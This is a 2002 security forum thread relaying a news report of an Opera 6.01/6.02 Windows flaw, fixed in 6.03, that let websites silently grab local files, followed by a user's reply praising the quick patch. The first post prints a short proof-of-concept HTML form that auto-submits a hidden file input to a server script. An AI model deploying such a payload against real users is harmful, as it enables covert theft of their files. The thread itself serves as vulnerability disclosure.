Opera vuln gives up local files!

Discussion in 'other security issues & news' started by Technodrome, May 28, 2002.

Thread Status:
Not open for further replies.
  1. Technodrome

    Technodrome Security Expert

    Joined:
    Feb 13, 2002
    Posts:
    2,140
    Location:
    New York
    A vulnerability in Opera 6.01 and 6.02 for Windows allows a malicious Web site to grab any file off a client's local drive with ease, GreyMagic Software has discovered. That's the bad news. The good news is that affects only Windows, and it's fixed in version 6.03 which is now available for download. Version 6.0 is not affected.

    The problem lies in the way Opera handles form submissions involving file transfers via HTTP. Normally, you'll get a dialog thrown at you warning that a file transfer is about to commence. However, in this case it's possible to alter the 'value' attribute to avoid the dialog by making it appear that there are no files to be transferred.

    This is accomplished with remarkable ease:

    <body onload="document.secForm.submit()">
    <form method="post" enctype="multipart/form-data" action="recFile.php" name="secForm">
    <input type="file" name="expFile" value="c:\test.txt " style="visibility:hidden">
    </form>
    </body>

    The form is then submitted with the requested file. Notice the bit appended to the value statement. That's where the deception occurs. It shouldn't be possible to set the value attribute, but a coding oversight somewhere between Opera 6.0 and 6.0.1 permits it.

    source: http://online.securityfocus.com/


    Technodrome
     
    Technodrome, May 28, 2002
    #1
  2. root

    root Registered Member

    Joined:
    Feb 19, 2002
    Posts:
    1,723
    Location:
    Missouri, USA
    Immediately fixed by version 6.03, as you noted. Nobodys perfect, and I feel good about Opera jumping right in whenever something goes awry.
    I really love this browser and look forward to the day when the Financial websites recognize that it exists and code their pages appropriately.
     
    root, May 30, 2002
    #2
Thread Status:
Not open for further replies.
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Accept Learn More...